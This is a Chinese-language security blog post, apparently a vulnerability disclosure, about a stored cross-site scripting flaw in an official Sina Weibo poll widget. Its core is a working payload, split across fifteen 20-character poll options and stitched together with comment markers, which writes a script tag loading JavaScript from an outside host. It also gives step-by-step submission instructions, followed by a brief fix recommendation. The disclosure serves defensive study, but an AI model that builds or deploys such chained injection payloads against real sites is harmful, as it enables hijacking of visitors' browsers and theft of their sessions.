当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

新浪微博某官方应用存储型XSS - 重温一个利用方法

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

总的来说,该存储型XSS,是由于某页面的输出没过滤造成的。其实大部分都过滤了,就这里没过滤而已~ 算是小问题啦。 不过在漏洞的利用构造上,个人觉得还是挺有意思的!

 涛涛电脑知识

在4,5年前,由于QQ空间对用户昵称没过滤,但是QQ昵称的长度又被限制在很短的字符,也没办法插入很多内容,当时我就自己想到了这个方法,然后成功攻击了腾讯官方的QQ空间的留言板(那时候年少无知,马上被和谐了,当时觉得挺有意思的)。在此之后,一直没有再遇到到可以使用这个方法的场景。今天正好在新浪微博某官方应用中碰到了,就分享给大家。涛涛电脑知识网

 

1. 问题描述

 

问题页面:?vid=1772503

问题原因:图片类型投票时,在投票组件(widget)中,输出图片描述未进行正确的过滤,导致XSS

 

2. 问题是小问题,下面才是重点,利用过程。

 

2.1 首先查看?vid=1764421页面的输出内容。

 

可以发现,实际可以被注入的地方为 <img title="{图片描述未过滤}"></img>

 

 

 

2.2 但是图片描述被限定为20个字符,之前Wooyun已经有人提交过选项内容长度没有在服务器端过滤的问题,经测试该问题已经修复,如下图:

 

 

 

如何利用这20个字符插入我们的代码呢?

 

首先想到的,还是 <img title=""onload="eval(xxxxx)"></img>

 

其中xxxxx是可控的变量,而且这个变量的长度只能在5之内,经过查找没有我们可控的变量,唯一一个可能被控的$CONFIG$都已经超出长度了。只有eval(name)可以用了!

 

2.3 但是eval(name)向来不是我推崇的方式。我们还得想办法!

 

这个时候,我第二想到的,就是我若干年前在QQ空间使用过的一个方法。如下:

 

因为投票实际上可以写入最多15个投票选项。

 

输出的HTML代码大致如下:

 

<img title="[可插入内容]"></img>

<img title="[可插入内容]"></img>

<img title="[可插入内容]"></img>

<img title="[可插入内容]"></img>

....(一共15个)

 

从而我们可以构造一个比较有意思的利用方式,模型如下:

 

<img title=""><script>/*"></img>

<img title="*/var a='xxxxxxx';/*"></img>

<img title="*/var b='yyyyyyy';/*"></img>

<img title="*/eval(a+b);/*"></img>

<img title="*/</script><b x=""></img>

 

2.4 上面的这个模型,会将之间的HTML代码通过/* ..... */ 的方式均变为注释。

 

 

 

2.5 基于以上,我们可以构造以下完整的利用模型,不能超过15个短句,投票数目有限制。其次无法调用新浪网页自带的函数。

 

"><script>/*

*/var l='\x3C';/*

*/var n='\x3E';/*

*/var b='xsst.si';/*

*/var c='naapp.c';/*

*/var d='om/m.js';/*

*/var e='script ';/*

*/var f=l+e+'src';/*

*/var g=l+'/'+e;/*

*/var x=b+c+d;/*

*/var y=f+'=//'+x;/*

*/var z=y+n+g+n;/*

*/var j=document;/*

*/j.write(z);/*

*/</script><"

 

2.6 然后我们进入投票创建页面:?tab=pic

 

一条一条的输入我们构造好的JS代码!

 

 

 

2.7 等待投票审核通过后,我们查看投票的widget页面 ?vid=1772503

 


 

修复方案:

对 ?vid=1772503 里的图片 title属性中的【图片描述】进行输出过滤!

相关文章
  • 没有相关文章
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1